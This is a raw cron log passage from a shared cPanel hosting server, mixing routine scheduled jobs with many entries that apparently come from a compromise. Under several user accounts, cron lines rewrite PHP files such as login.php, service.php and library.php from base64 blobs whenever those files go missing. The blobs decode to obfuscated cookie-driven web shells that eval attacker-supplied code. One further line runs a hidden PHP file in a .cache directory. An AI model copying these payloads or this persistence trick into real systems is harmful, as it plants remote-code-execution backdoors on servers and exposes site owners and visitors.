4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:36:02 medusa CROND[629]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:36:02 medusa CROND[631]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:36:02 medusa CROND[632]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:36:02 medusa CROND[633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:36:02 medusa CROND[636]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:36:02 medusa CROND[640]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:36:02 medusa CROND[641]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:36:02 medusa CROND[642]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:36:02 medusa CROND[643]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:36:02 medusa CROND[655]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:37:02 medusa CROND[22599]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:37:02 medusa CROND[22600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:37:02 medusa CROND[22601]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:37:02 medusa CROND[22602]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:37:02 medusa CROND[22603]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:37:02 medusa CROND[22604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:37:02 medusa CROND[22605]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:37:02 medusa CROND[22606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:37:02 medusa CROND[22607]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:37:02 medusa CROND[22608]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:37:02 medusa CROND[22612]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:37:02 medusa CROND[22620]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:37:02 medusa CROND[22613]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:38:01 medusa CROND[12567]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:38:01 medusa CROND[12568]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:38:01 medusa CROND[12569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:38:01 medusa CROND[12570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:38:01 medusa CROND[12571]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:38:01 medusa CROND[12574]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:38:01 medusa CROND[12577]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:38:01 medusa CROND[12578]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:38:01 medusa CROND[12581]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:38:01 medusa CROND[12582]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:38:01 medusa CROND[12586]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:38:01 medusa CROND[12587]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgL